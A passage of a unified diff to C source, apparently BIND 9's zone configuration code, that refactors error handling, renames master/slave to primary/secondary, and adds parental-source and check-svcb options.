-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/* First check to see if ACL is defined within the zone */
@@ -202,7 +202,7 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 	dns_ssutable_t *table = NULL;
 	isc_mem_t *mctx = dns_zone_getmctx(zone);
 	bool autoddns = false;
-	isc_result_t result;
+	isc_result_t result = ISC_R_SUCCESS;
 
 	(void)cfg_map_get(zconfig, "update-policy", &updatepolicy);
 
@@ -218,10 +218,7 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 		updatepolicy = NULL;
 	}
 
-	result = dns_ssutable_create(mctx, &table);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_ssutable_create(mctx, &table);
 
 	for (element = cfg_list_first(updatepolicy); element != NULL;
 	     element = cfg_list_next(element))
@@ -247,14 +244,14 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 		} else if (strcasecmp(str, "deny") == 0) {
 			grant = false;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		str = cfg_obj_asstring(matchtype);
 		CHECK(dns_ssu_mtypefromstring(str, &mtype));
 		if (mtype == dns_ssumatchtype_subdomain &&
-		    strcasecmp(str, "zonesub") == 0) {
+		    strcasecmp(str, "zonesub") == 0)
+		{
 			usezone = true;
 		}
 
@@ -292,7 +289,7 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 		if (n == 0) {
 			types = NULL;
 		} else {
-			types = isc_mem_get(mctx, n * sizeof(*types));
+			types = isc_mem_cget(mctx, n, sizeof(*types));
 		}
 
 		i = 0;
@@ -308,7 +305,7 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 
 			typeobj = cfg_listelt_value(element2);
 			str = cfg_obj_asstring(typeobj);
-			DE_CONST(str, r.base);
+			r.base = UNCONST(str);
 
 			bracket = strchr(str, '(' /*)*/);
 			if (bracket != NULL) {
@@ -316,13 +313,14 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 				r.length = bracket - str;
 				max = strtoul(bracket + 1, &end, 10);
 				if (max > 0xffff || end[0] != /*(*/ ')' ||
-				    end[1] != 0) {
+				    end[1] != 0)
+				{
 					cfg_obj_log(identity, named_g_lctx,
 						    ISC_LOG_ERROR,
 						    "'%s' is not a valid count",
 						    bracket);
-					isc_mem_put(mctx, types,
-						    n * sizeof(*types));
+					isc_mem_cput(mctx, types, n,
+						     sizeof(*types));
 					goto cleanup;
 				}
 			} else {
@@ -336,20 +334,17 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 					    ISC_LOG_ERROR,
 					    "'%.*s' is not a valid type",
 					    (int)r.length, str);
-				isc_mem_put(mctx, types, n * sizeof(*types));
+				isc_mem_cput(mctx, types, n, sizeof(*types));
 				goto cleanup;
 			}
 		}
 		INSIST(i == n);
 
-		result = dns_ssutable_addrule(
-			table, grant, dns_fixedname_name(&fident), mtype,
-			dns_fixedname_name(&fname), n, types);
+		dns_ssutable_addrule(table, grant, dns_fixedname_name(&fident),
+				     mtype, dns_fixedname_name(&fname), n,
+				     types);
 		if (types != NULL) {
-			isc_mem_put(mctx, types, n * sizeof(*types));
-		}
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
+			isc_mem_cput(mctx, types, n, sizeof(*types));
 		}
 	}
 
@@ -371,17 +366,12 @@ configure_zone_ssutable(const cfg_obj_t *zconfig, dns_zone_t *zone,
 			goto cleanup;
 		}
 
-		result = dns_ssutable_addrule(
-			table, true, named_g_server->session_keyname,
-			dns_ssumatchtype_local, dns_zone_getorigin(zone), 1,
-			&any);
-
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_ssutable_addrule(table, true,
+				     named_g_server->session_keyname,
+				     dns_ssumatchtype_local,
+				     dns_zone_getorigin(zone), 1, &any);
 	}
 
-	result = ISC_R_SUCCESS;
 	dns_zone_setssutable(zone, table);
 
 cleanup:
@@ -465,7 +455,8 @@ configure_staticstub_serveraddrs(const cfg_obj_t *zconfig, dns_zone_t *zone,
 	 * there's nothing to do anymore.
 	 */
 	if (ISC_LIST_EMPTY(rdatalist_a->rdata) &&
-	    ISC_LIST_EMPTY(rdatalist_aaaa->rdata)) {
+	    ISC_LIST_EMPTY(rdatalist_aaaa->rdata))
+	{
 		return (ISC_R_SUCCESS);
 	}
 
@@ -632,17 +623,14 @@ configure_staticstub(const cfg_obj_t *zconfig, dns_zone_t *zone,
 	CHECK(dns_db_findnode(db, &apexname, false, &apexnode));
 
 	/* Add NS RRset */
-	RUNTIME_CHECK(dns_rdatalist_tordataset(&rdatalist_ns, &rdataset) ==
-		      ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(&rdatalist_ns, &rdataset);
 	CHECK(dns_db_addrdataset(db, apexnode, dbversion, 0, &rdataset, 0,
 				 NULL));
 	dns_rdataset_disassociate(&rdataset);
 
 	/* Add glue A RRset, if any */
 	if (!ISC_LIST_EMPTY(rdatalist_a.rdata)) {
-		RUNTIME_CHECK(
-			dns_rdatalist_tordataset(&rdatalist_a, &rdataset) ==
-			ISC_R_SUCCESS);
+		dns_rdatalist_tordataset(&rdatalist_a, &rdataset);
 		CHECK(dns_db_addrdataset(db, apexnode, dbversion, 0, &rdataset,
 					 0, NULL));
 		dns_rdataset_disassociate(&rdataset);
@@ -650,9 +638,7 @@ configure_staticstub(const cfg_obj_t *zconfig, dns_zone_t *zone,
 
 	/* Add glue AAAA RRset, if any */
 	if (!ISC_LIST_EMPTY(rdatalist_aaaa.rdata)) {
-		RUNTIME_CHECK(
-			dns_rdatalist_tordataset(&rdatalist_aaaa, &rdataset) ==
-			ISC_R_SUCCESS);
+		dns_rdatalist_tordataset(&rdatalist_aaaa, &rdataset);
 		CHECK(dns_db_addrdataset(db, apexnode, dbversion, 0, &rdataset,
 					 0, NULL));
 		dns_rdataset_disassociate(&rdataset);
@@ -693,7 +679,7 @@ configure_staticstub(const cfg_obj_t *zconfig, dns_zone_t *zone,
 /*%
  * Convert a config file zone type into a server zone type.
  */
-static inline dns_zonetype_t
+static dns_zonetype_t
 zonetype_fromconfig(const cfg_obj_t *map) {
 	const cfg_obj_t *obj = NULL;
 	isc_result_t result;
@@ -719,7 +705,7 @@ strtoargvsub(isc_mem_t *mctx, char *s, unsigned int *argcp, char ***argvp,
 	if (*s == '\0') {
 		/* We have reached the end of the string. */
 		*argcp = n;
-		*argvp = isc_mem_get(mctx, n * sizeof(char *));
+		*argvp = isc_mem_cget(mctx, n, sizeof(char *));
 	} else {
 		char *p = s;
 		while (*p != ' ' && *p != '\t' && *p != '\0') {
@@ -750,28 +736,25 @@ strtoargv(isc_mem_t *mctx, char *s, unsigned int *argcp, char ***argvp) {
 	return (strtoargvsub(mctx, s, argcp, argvp, 0));
 }
 
+static const char *const primary_synonyms[] = { "primary", "master", NULL };
+
+static const char *const secondary_synonyms[] = { "secondary", "slave", NULL };
+
 static void
 checknames(dns_zonetype_t ztype, const cfg_obj_t **maps,
 	   const cfg_obj_t **objp) {
 	isc_result_t result;
 
 	switch (ztype) {
-	case dns_zone_slave:
+	case dns_zone_secondary:
 	case dns_zone_mirror:
-		result = named_checknames_get(maps, "secondary", objp);
-		if (result != ISC_R_SUCCESS) {
-			result = named_checknames_get(maps, "slave", objp);
-		}
+		result = named_checknames_get(maps, secondary_synonyms, objp);
 		break;
-	case dns_zone_master:
-		result = named_checknames_get(maps, "primary", objp);
-		if (result != ISC_R_SUCCESS) {
-			result = named_checknames_get(maps, "master", objp);
-		}
+	case dns_zone_primary:
+		result = named_checknames_get(maps, primary_synonyms, objp);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	INSIST(result == ISC_R_SUCCESS && objp != NULL && *objp != NULL);
@@ -787,24 +770,27 @@ checknames(dns_zonetype_t ztype, const cfg_obj_t **maps,
  */
 static bool
 isself(dns_view_t *myview, dns_tsigkey_t *mykey, const isc_sockaddr_t *srcaddr,
-       const isc_sockaddr_t *dstaddr, dns_rdataclass_t rdclass, void *arg) {
-	ns_interfacemgr_t *interfacemgr = (ns_interfacemgr_t *)arg;
-	dns_aclenv_t *env = ns_interfacemgr_getaclenv(interfacemgr);
-	dns_view_t *view;
+       const isc_sockaddr_t *dstaddr, dns_rdataclass_t rdclass,
+       void *arg ISC_ATTR_UNUSED) {
+	dns_aclenv_t *env = NULL;
+	dns_view_t *view = NULL;
 	dns_tsigkey_t *key = NULL;
 	isc_netaddr_t netsrc;
 	isc_netaddr_t netdst;
 
-	if (interfacemgr == NULL) {
+	/* interfacemgr can be destroyed only in exclusive mode. */
+	if (named_g_server->interfacemgr == NULL) {
 		return (true);
 	}
 
-	if (!ns_interfacemgr_listeningon(interfacemgr, dstaddr)) {
+	if (!ns_interfacemgr_listeningon(named_g_server->interfacemgr, dstaddr))
+	{
 		return (false);
 	}
 
 	isc_netaddr_fromsockaddr(&netsrc, srcaddr);
 	isc_netaddr_fromsockaddr(&netdst, dstaddr);
+	env = ns_interfacemgr_getaclenv(named_g_server->interfacemgr);
 
 	for (view = ISC_LIST_HEAD(named_g_server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
@@ -823,7 +809,7 @@ isself(dns_view_t *myview, dns_tsigkey_t *mykey, const isc_sockaddr_t *srcaddr,
 			bool match;
 			isc_result_t result;
 
-			result = dns_view_gettsig(view, &mykey->name, &key);
+			result = dns_view_gettsig(view, mykey->name, &key);
 			if (result != ISC_R_SUCCESS) {
 				continue;
 			}
@@ -894,6 +880,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	const char *filename = NULL;
 	const char *kaspname = NULL;
 	const char *dupcheck;
+	dns_checkdstype_t checkdstype = dns_checkdstype_yes;
 	dns_notifytype_t notifytype = dns_notifytype_yes;
 	uint32_t count;
 	unsigned int dbargc;
@@ -907,8 +894,6 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	int i;
 	int32_t journal_size;
 	bool multi;
-	bool alt;
-	dns_view_t *view = NULL;
 	dns_kasp_t *kasp = NULL;
 	bool check = false, fail = false;
 	bool warn = false, ignore = false;
@@ -920,9 +905,10 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	dns_stats_t *rcvquerystats;
 	dns_stats_t *dnssecsignstats;
 	dns_zonestat_level_t statlevel = dns_zonestat_none;
-	int seconds;
+	dns_ttl_t maxttl = 0; /* unlimited */
 	dns_zone_t *mayberaw = (raw != NULL) ? raw : zone;
-	isc_dscp_t dscp;
+	bool transferinsecs = ns_server_getoption(named_g_server->sctx,
+						  NS_SERVER_TRANSFERINSECS);
 
 	i = 0;
 	if (zconfig != NULL) {
@@ -946,8 +932,8 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	maps[i] = NULL;
 
 	if (vconfig != NULL) {
-		RETERR(named_config_getclass(cfg_tuple_get(vconfig, "class"),
-					     dns_rdataclass_in, &vclass));
+		CHECK(named_config_getclass(cfg_tuple_get(vconfig, "class"),
+					    dns_rdataclass_in, &vclass));
 	} else {
 		vclass = dns_rdataclass_in;
 	}
@@ -958,8 +944,8 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 
 	zname = cfg_obj_asstring(cfg_tuple_get(zconfig, "name"));
 
-	RETERR(named_config_getclass(cfg_tuple_get(zconfig, "class"), vclass,
-				     &zclass));
+	CHECK(named_config_getclass(cfg_tuple_get(zconfig, "class"), vclass,
+				    &zclass));
 	dns_zone_setclass(zone, zclass);
 	if (raw != NULL) {
 		dns_zone_setclass(raw, zclass);
@@ -968,7 +954,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	ztype = zonetype_fromconfig(zoptions);
 	if (raw != NULL) {
 		dns_zone_settype(raw, ztype);
-		dns_zone_settype(zone, dns_zone_master);
+		dns_zone_settype(zone, dns_zone_primary);
 	} else {
 		dns_zone_settype(zone, ztype);
 	}
@@ -979,7 +965,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		cpval = isc_mem_strdup(mctx, cfg_obj_asstring(obj));
 	}
 	if (cpval == NULL) {
-		return (ISC_R_NOMEMORY);
+		CHECK(ISC_R_NOMEMORY);
 	}
 
 	obj = NULL;
@@ -994,7 +980,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 				      "zone '%s': both 'database' and 'dlz' "
 				      "specified",
 				      zname);
-			return (ISC_R_FAILURE);
+			CHECK(ISC_R_FAILURE);
 		}
 
 		len = strlen(dlzname) + 5;
@@ -1005,7 +991,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	result = strtoargv(mctx, cpval, &dbargc, &dbargv);
 	if (result != ISC_R_SUCCESS && cpval != default_dbtype) {
 		isc_mem_free(mctx, cpval);
-		return (result);
+		CHECK(result);
 	}
 
 	/*
@@ -1014,7 +1000,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	 * compiler w/o generating a warning.
 	 */
 	dns_zone_setdbtype(zone, dbargc, (const char *const *)dbargv);
-	isc_mem_put(mctx, dbargv, dbargc * sizeof(*dbargv));
+	isc_mem_cput(mctx, dbargv, dbargc, sizeof(*dbargv));
 	if (cpval != default_dbtype && cpval != dlz_dbtype) {
 		isc_mem_free(mctx, cpval);
 	}
@@ -1026,18 +1012,19 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	}
 
 	/*
-	 * Unless we're using some alternative database, a master zone
+	 * Unless we're using some alternative database, a primary zone
 	 * will be needing a master file.
 	 */
-	if (ztype == dns_zone_master && cpval == default_dbtype &&
-	    filename == NULL) {
+	if (ztype == dns_zone_primary && cpval == default_dbtype &&
+	    filename == NULL)
+	{
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "zone '%s': 'file' not specified", zname);
-		return (ISC_R_FAILURE);
+		CHECK(ISC_R_FAILURE);
 	}
 
-	if (ztype == dns_zone_slave || ztype == dns_zone_mirror) {
+	if (ztype == dns_zone_secondary || ztype == dns_zone_mirror) {
 		masterformat = dns_masterformat_raw;
 	} else {
 		masterformat = dns_masterformat_text;
@@ -1051,11 +1038,8 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 			masterformat = dns_masterformat_text;
 		} else if (strcasecmp(masterformatstr, "raw") == 0) {
 			masterformat = dns_masterformat_raw;
-		} else if (strcasecmp(masterformatstr, "map") == 0) {
-			masterformat = dns_masterformat_map;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -1070,7 +1054,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 				    "can only be used with "
 				    "'masterfile-format text'",
 				    zname);
-			return (ISC_R_FAILURE);
+			CHECK(ISC_R_FAILURE);
 		}
 
 		if (strcasecmp(masterstylestr, "full") == 0) {
@@ -1078,29 +1062,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(masterstylestr, "relative") == 0) {
 			masterstyle = &dns_master_style_default;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
-		}
-	}
-
-	obj = NULL;
-	result = named_config_get(maps, "max-zone-ttl", &obj);
-	if (result == ISC_R_SUCCESS && masterformat == dns_masterformat_map) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "zone '%s': 'max-zone-ttl' is not compatible "
-			      "with 'masterfile-format map'",
-			      zname);
-		return (ISC_R_FAILURE);
-	} else if (result == ISC_R_SUCCESS) {
-		dns_ttl_t maxttl = 0; /* unlimited */
-
-		if (cfg_obj_isduration(obj)) {
-			maxttl = cfg_obj_asduration(obj);
-		}
-		dns_zone_setmaxttl(zone, maxttl);
-		if (raw != NULL) {
-			dns_zone_setmaxttl(raw, maxttl);
+			UNREACHABLE();
 		}
 	}
 
@@ -1117,47 +1079,45 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		size_t signedlen = strlen(filename) + sizeof(SIGNED);
 		char *signedname;
 
-		RETERR(dns_zone_setfile(raw, filename, masterformat,
-					masterstyle));
+		CHECK(dns_zone_setfile(raw, filename, masterformat,
+				       masterstyle));
 		signedname = isc_mem_get(mctx, signedlen);
 
 		(void)snprintf(signedname, signedlen, "%s" SIGNED, filename);
 		result = dns_zone_setfile(zone, signedname,
 					  dns_masterformat_raw, NULL);
 		isc_mem_put(mctx, signedname, signedlen);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+		CHECK(result);
 	} else {
-		RETERR(dns_zone_setfile(zone, filename, masterformat,
-					masterstyle));
+		CHECK(dns_zone_setfile(zone, filename, masterformat,
+				       masterstyle));
 	}
 
 	obj = NULL;
 	result = cfg_map_get(zoptions, "journal", &obj);
 	if (result == ISC_R_SUCCESS) {
-		RETERR(dns_zone_setjournal(mayberaw, cfg_obj_asstring(obj)));
+		CHECK(dns_zone_setjournal(mayberaw, cfg_obj_asstring(obj)));
 	}
 
 	/*
 	 * Notify messages are processed by the raw zone if it exists.
 	 */
-	if (ztype == dns_zone_slave || ztype == dns_zone_mirror) {
-		RETERR(configure_zone_acl(
-			zconfig, vconfig, config, allow_notify, ac, mayberaw,
-			dns_zone_setnotifyacl, dns_zone_clearnotifyacl));
+	if (ztype == dns_zone_secondary || ztype == dns_zone_mirror) {
+		CHECK(configure_zone_acl(zconfig, vconfig, config, allow_notify,
+					 ac, mayberaw, dns_zone_setnotifyacl,
+					 dns_zone_clearnotifyacl));
 	}
 
 	/*
 	 * XXXAG This probably does not make sense for stubs.
 	 */
-	RETERR(configure_zone_acl(zconfig, vconfig, config, allow_query, ac,
-				  zone, dns_zone_setqueryacl,
-				  dns_zone_clearqueryacl));
+	CHECK(configure_zone_acl(zconfig, vconfig, config, allow_query, ac,
+				 zone, dns_zone_setqueryacl,
+				 dns_zone_clearqueryacl));
 
-	RETERR(configure_zone_acl(zconfig, vconfig, config, allow_query_on, ac,
-				  zone, dns_zone_setqueryonacl,
-				  dns_zone_clearqueryonacl));
+	CHECK(configure_zone_acl(zconfig, vconfig, config, allow_query_on, ac,
+				 zone, dns_zone_setqueryonacl,
+				 dns_zone_clearqueryonacl));
 
 	obj = NULL;
 	result = named_config_get(maps, "dialup", &obj);
@@ -1179,8 +1139,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(dialupstr, "passive") == 0) {
 			dialup = dns_dialuptype_passive;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 	if (raw != NULL) {
@@ -1206,8 +1165,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(levelstr, "none") == 0) {
 			statlevel = dns_zonestat_none;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 	dns_zone_setstatlevel(zone, statlevel);
@@ -1216,10 +1174,9 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	rcvquerystats = NULL;
 	dnssecsignstats = NULL;
 	if (statlevel == dns_zonestat_full) {
-		RETERR(isc_stats_create(mctx, &zoneqrystats,
-					ns_statscounter_max));
-		RETERR(dns_rdatatypestats_create(mctx, &rcvquerystats));
-		RETERR(dns_dnssecsignstats_create(mctx, &dnssecsignstats));
+		isc_stats_create(mctx, &zoneqrystats, ns_statscounter_max);
+		dns_rdatatypestats_create(mctx, &rcvquerystats);
+		dns_dnssecsignstats_create(mctx, &dnssecsignstats);
 	}
 	dns_zone_setrequeststats(zone, zoneqrystats);
 	dns_zone_setrcvquerystats(zone, rcvquerystats);
@@ -1238,13 +1195,19 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	}
 
 	/*
-	 * Configure master functionality.  This applies
+	 * Configure authoritative zone functionality.  This applies
 	 * to primary servers (type "primary") and secondaries
 	 * acting as primaries (type "secondary"), but not to stubs.
 	 */
 	if (ztype != dns_zone_stub && ztype != dns_zone_staticstub &&
 	    ztype != dns_zone_redirect)
 	{
+		/* Make a reference to the default policy. */
+		result = dns_kasplist_find(kasplist, "default", &kasp);
+		INSIST(result == ISC_R_SUCCESS && kasp != NULL);
+		dns_zone_setdefaultkasp(zone, kasp);
+		dns_kasp_detach(&kasp);
+
 		obj = NULL;
 		result = named_config_get(maps, "dnssec-policy", &obj);
 		if (result == ISC_R_SUCCESS) {
@@ -1258,7 +1221,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 						ISC_LOG_ERROR,
 						"dnssec-policy '%s' not found ",
 						kaspname);
-					RETERR(result);
+					CHECK(result);
 				}
 				dns_zone_setkasp(zone, kasp);
 				use_kasp = true;
@@ -1286,8 +1249,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 			{
 				notifytype = dns_notifytype_masteronly;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 		}
 		notifytype = process_notifytype(notifytype, ztype, zname,
@@ -1303,46 +1265,40 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		    (notifytype == dns_notifytype_yes ||
 		     notifytype == dns_notifytype_explicit ||
 		     (notifytype == dns_notifytype_masteronly &&
-		      ztype == dns_zone_master)))
+		      ztype == dns_zone_primary)))
 		{
 			dns_ipkeylist_t ipkl;
 			dns_ipkeylist_init(&ipkl);
 
-			RETERR(named_config_getipandkeylist(config, obj, mctx,
-							    &ipkl));
-			result = dns_zone_setalsonotify(zone, ipkl.addrs,
-							ipkl.dscps, ipkl.keys,
-							ipkl.tlss, ipkl.count);
+			CHECK(named_config_getipandkeylist(config, "primaries",
+							   obj, mctx, &ipkl));
+			dns_zone_setalsonotify(zone, ipkl.addrs, ipkl.sources,
+					       ipkl.keys, ipkl.tlss,
+					       ipkl.count);
 			dns_ipkeylist_clear(mctx, &ipkl);
-			RETERR(result);
 		} else {
-			RETERR(dns_zone_setalsonotify(zone, NULL, NULL, NULL,
-						      NULL, 0));
+			dns_zone_setalsonotify(zone, NULL, NULL, NULL, NULL, 0);
 		}
 
+		obj = NULL;
+		result = named_config_get(maps, "parental-source", &obj);
+		INSIST(result == ISC_R_SUCCESS && obj != NULL);
+		CHECK(dns_zone_setparentalsrc4(zone, cfg_obj_assockaddr(obj)));
+
+		obj = NULL;
+		result = named_config_get(maps, "parental-source-v6", &obj);
+		INSIST(result == ISC_R_SUCCESS && obj != NULL);
+		CHECK(dns_zone_setparentalsrc6(zone, cfg_obj_assockaddr(obj)));
+
 		obj = NULL;
 		result = named_config_get(maps, "notify-source", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setnotifysrc4(zone, cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setnotifysrc4dscp(zone, dscp));
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
+		CHECK(dns_zone_setnotifysrc4(zone, cfg_obj_assockaddr(obj)));
 
 		obj = NULL;
 		result = named_config_get(maps, "notify-source-v6", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setnotifysrc6(zone, cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setnotifysrc6dscp(zone, dscp));
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
+		CHECK(dns_zone_setnotifysrc6(zone, cfg_obj_assockaddr(obj)));
 
 		obj = NULL;
 		result = named_config_get(maps, "notify-to-soa", &obj);
@@ -1350,21 +1306,25 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		dns_zone_setoption(zone, DNS_ZONEOPT_NOTIFYTOSOA,
 				   cfg_obj_asboolean(obj));
 
-		dns_zone_setisself(zone, isself, named_g_server->interfacemgr);
+		dns_zone_setisself(zone, isself, NULL);
 
-		RETERR(configure_zone_acl(
+		CHECK(configure_zone_acl(
 			zconfig, vconfig, config, allow_transfer, ac, zone,
 			dns_zone_setxfracl, dns_zone_clearxfracl));
 
 		obj = NULL;
 		result = named_config_get(maps, "max-transfer-time-out", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setmaxxfrout(zone, cfg_obj_asuint32(obj) * 60);
+		dns_zone_setmaxxfrout(
+			zone, transferinsecs ? cfg_obj_asuint32(obj)
+					     : cfg_obj_asuint32(obj) * 60);
 
 		obj = NULL;
 		result = named_config_get(maps, "max-transfer-idle-out", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setidleout(zone, cfg_obj_asuint32(obj) * 60);
+		dns_zone_setidleout(zone, transferinsecs
+						  ? cfg_obj_asuint32(obj)
+						  : cfg_obj_asuint32(obj) * 60);
 
 		obj = NULL;
 		result = named_config_get(maps, "max-journal-size", &obj);
@@ -1382,15 +1342,14 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 				journal_size = -1;
 			}
 		} else {
-			isc_resourcevalue_t value;
-			value = cfg_obj_asuint64(obj);
+			uint64_t value = cfg_obj_asuint64(obj);
 			if (value > DNS_JOURNAL_SIZE_MAX) {
 				cfg_obj_log(obj, named_g_lctx, ISC_LOG_ERROR,
 					    "'max-journal-size "
 					    "%" PRId64 "' "
 					    "is too large",
 					    value);
-				RETERR(ISC_R_RANGE);
+				CHECK(ISC_R_RANGE);
 			}
 			journal_size = (uint32_t)value;
 		}
@@ -1406,13 +1365,13 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 			ixfrdiff = cfg_obj_asboolean(obj);
 		} else if ((strcasecmp(cfg_obj_asstring(obj), "primary") == 0 ||
 			    strcasecmp(cfg_obj_asstring(obj), "master") == 0) &&
-			   ztype == dns_zone_master)
+			   ztype == dns_zone_primary)
 		{
 			ixfrdiff = true;
 		} else if ((strcasecmp(cfg_obj_asstring(obj), "secondary") ==
 				    0 ||
 			    strcasecmp(cfg_obj_asstring(obj), "slave") == 0) &&
-			   ztype == dns_zone_slave)
+			   ztype == dns_zone_secondary)
 		{
 			ixfrdiff = true;
 		} else {
@@ -1458,8 +1417,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			fail = check = false;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		if (raw != NULL) {
 			dns_zone_setoption(raw, DNS_ZONEOPT_CHECKNAMES, check);
@@ -1493,11 +1451,16 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			check = false;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		dns_zone_setoption(zone, DNS_ZONEOPT_CHECKSPF, check);
 
+		obj = NULL;
+		result = named_config_get(maps, "check-svcb", &obj);
+		INSIST(result == ISC_R_SUCCESS && obj != NULL);
+		dns_zone_setoption(zone, DNS_ZONEOPT_CHECKSVCB,
+				   cfg_obj_asboolean(obj));
+
 		obj = NULL;
 		result = named_config_get(maps, "zero-no-soa-ttl", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
@@ -1524,31 +1487,46 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 				journal_size = -1;
 			}
 		} else {
-			isc_resourcevalue_t value;
-			value = cfg_obj_asuint64(obj);
+			uint64_t value = cfg_obj_asuint64(obj);
 			if (value > DNS_JOURNAL_SIZE_MAX) {
 				cfg_obj_log(obj, named_g_lctx, ISC_LOG_ERROR,
 					    "'max-journal-size "
 					    "%" PRId64 "' "
 					    "is too large",
 					    value);
-				RETERR(ISC_R_RANGE);
+				CHECK(ISC_R_RANGE);
 			}
 			journal_size = (uint32_t)value;
 		}
 		dns_zone_setjournalsize(zone, journal_size);
 	}
 
+	if (use_kasp) {
+		maxttl = dns_kasp_zonemaxttl(dns_zone_getkasp(zone), false);
+	} else {
+		obj = NULL;
+		result = named_config_get(maps, "max-zone-ttl", &obj);
+		if (result == ISC_R_SUCCESS) {
+			if (cfg_obj_isduration(obj)) {
+				maxttl = cfg_obj_asduration(obj);
+			}
+		}
+	}
+	dns_zone_setmaxttl(zone, maxttl);
+	if (raw != NULL) {
+		dns_zone_setmaxttl(raw, maxttl);
+	}
+
 	/*
 	 * Configure update-related options.  These apply to
 	 * primary servers only.
 	 */
-	if (ztype == dns_zone_master) {
+	if (ztype == dns_zone_primary) {
 		dns_acl_t *updateacl;
 
-		RETERR(configure_zone_acl(
-			zconfig, vconfig, config, allow_update, ac, mayberaw,
-			dns_zone_setupdateacl, dns_zone_clearupdateacl));
+		CHECK(configure_zone_acl(zconfig, vconfig, config, allow_update,
+					 ac, mayberaw, dns_zone_setupdateacl,
+					 dns_zone_clearupdateacl));
 
 		updateacl = dns_zone_getupdateacl(mayberaw);
